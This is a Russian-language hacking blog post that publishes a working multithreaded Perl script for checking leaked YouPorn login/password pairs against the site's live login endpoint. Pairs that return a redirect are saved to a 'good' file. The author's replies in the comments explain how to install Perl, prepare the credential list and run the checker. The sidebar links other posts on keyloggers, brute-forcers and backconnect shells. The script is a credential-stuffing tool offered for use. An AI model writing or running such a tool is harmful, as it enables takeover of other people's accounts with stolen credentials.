3a4b5a728f6be8ad01f4fe5971849912 Чекер акаунтов Youporn
Вот посомтрел что в халаве есть куча аккаунтов с сайта Youporn бугага дрочеры !, ну и решил написать чекер для этого сайта.
Собственно говоря код:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/perl -w

use LWP::UserAgent;
use threads;

print q(##################################################
#        Youporn Accs Checker by SHok v1.0       #
#                http://nig.org.ua               #
##################################################
 
);

my $spliter = ';'           ; #Разделитель
my $fgood   = 'good.txt'        ; #Логины
my $fsrc    = 'src.txt'         ; #Валидные
my $threads  =  shift || 20     ; #Кол-во потоков

open (SRC, $fsrc) or die "Cen't openfile $fsrc [ $! ]\n";
open (GOOD, '>> '.$fgood) or die "Cen't openfile $fgood [ $! ]\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

close(GOOD);
close(SRC);

sub Brut {
    my $ua = LWP::UserAgent->new;
    $ua->agent("Mozilla/4.0");
    while(my $src = ) {
        my ($login,$pass) = split /$spliter/, $src;
        chomp($login,$pass);
        my $answ = $ua->post('http://www.youporn.com/login?previous=http%3A%2F%2Fwww.youporn.com%2F%3Fcountry%3Dukr%26ab_bucket%3D2',
                {
                username => $login,
                password => $pass,
                'x' => 57,
                'y' => 17,
                })->code;
        if($answ == 302) {
                print " [+] ".$login.$spliter.$pass."\n";
                print GOOD $login.$spliter.$pass."\n";
        } else {
            print " [-] ".$login.$spliter.$pass."\n";
        }
    }
}

tt twitter big4 Чекер акаунтов Youporn tt digg big4 Чекер акаунтов Youporn tt facebook big4 Чекер акаунтов Youporn tt gmail big4 Чекер акаунтов Youporn tt myspace big4 Чекер акаунтов Youporn tt reddit big4 Чекер акаунтов Youporn

Комментарии (7) на “Чекер акаунтов Youporn”

  • ledov:

    Оч полезный скрипт!!)))

    Ответить
  • akno:

    как его юзать?

    Ответить
    • SHok:

      Качаете и ставите ActivePerl под вашу систему, скачать можно здесь : http://www.activestate.com/activeperl/downloads
      Потом копируете сохраняете скрипт в файле с расширением *.pl
      Создаёте в папке с файлом *.pl файл src.txt, и кладёте туда список вида login;pass.
      Так же в папке с *.pl можете для удобства создать *.bat файл, в котором будет следующий текст:
      perl *.pl 10
      10 — Это количество потоков
      После чего запускаете *.bat, и увидите консольное окно, в котором можно увидеть лог чекинга.
      Гуды будут сохранены в файл good.txt.
      Если что то не понятно, задавайте вопросы, не стесняйтесь ;-)

      Ответить
  • kotaBuy:

    Что за список вида login;pass?

    Ответить
    • SHok:

      Список логинов и паролей разделённых точкой с запятой.
      Типо такого:
      Логин1;Пароль1
      Логин2;Пароль2
      Логин3;Пароль3

      Ответить
  • Den:

    Расскажите пожалуйста подробно, как для дурачка!
    Что за файл с расширением *.pl где он берётся,
    Как создать в папке с файлом *.pl файл src.txt и что за src.txt ?Куда ложить список вида login;pass и что и где его брать?
    Так же как в папке с *.pl можете для удобства создать *.bat файл, в котором будет следующий текст:
    perl *.pl 10
    10 — Это количество потоков
    После чегокак запускать *.bat, и где его искать? увидите консольное окно, в котором можно увидеть лог чекинга- что это?
    Гуды будут сохранены в файл good.txt.
    Проще говоря если не в напряг подробно как для дурачка!

    Ответить

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++